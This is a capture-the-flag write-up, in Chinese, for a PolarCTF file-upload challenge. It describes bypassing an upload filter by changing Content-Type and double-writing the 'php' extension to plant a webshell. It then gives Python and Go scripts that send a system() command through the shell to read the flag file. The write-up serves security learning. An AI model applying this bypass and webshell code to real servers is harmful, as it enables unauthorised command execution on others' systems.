Polar Web【简单】upload
Contents
- Polar Web【简单】upload
 - 思路
 - EXP
 - Python
 - Go
 
- 运行&总结
 
思路
如题目所说,本题考查的是文件上传漏洞的渗透技巧。
- 打开环境,发现需要上传的是图片文件,故考虑使用截取数据包进行数据修改进行重放。
 - 在重发器中修改
 Content-Type后,正常上传shell.php发现,程序过滤了文件后缀php,因此考虑进行双写尝试绕过,双写处理后上传发现,程序只做一次过滤,至此成功上传木马。- 本题尝试使用脚本代替工具进行测试,具体逻辑如后文代码所示,最终拿取
 flag。


 
EXP
Python
import requests
def exe(url):
    command = 'system("cat /var/www/flag.php");'
    data = {
        'cmd': command
    }
    resp = requests.post(url=url, data=data)
    if resp.text:
        out = resp.text
        print(out[out.rindex('flag'):out.rindex("'")])
    else:
        print("Nothing...")
if __name__ == '__main__':
    u = 'http://~.www.polarctf.com:8090/upload/[your_number]shell.php'
    exe(url=u)
 
Go
package main
import (
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"strings"
)
func attack(url_ string) {
	data := url.Values{}
	data.Add("cmd", "system(\"cat /var/www/flag.php\");")
	if resp, err := http.PostForm(url_, data); err != nil {
		panic("GET ERR: " + err.Error())
	} else {
		out, _ := ioutil.ReadAll(resp.Body)
		ans := string(out)
		fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "'")])
	}
}
func main() {
	baseURL := "http://~.www.polarctf.com:8090/upload/[your_number]shell.php"
	// 解析基础 URL
	u, err := url.Parse(baseURL)
	if err != nil {
		panic(err)
	}
	attack(u.String())
}
 
运行&总结

- 本题主要考查了文件上传漏洞中的双写绕过技巧
 - 借以本题,进行了使用脚本进行Webshell利用的尝试
 



















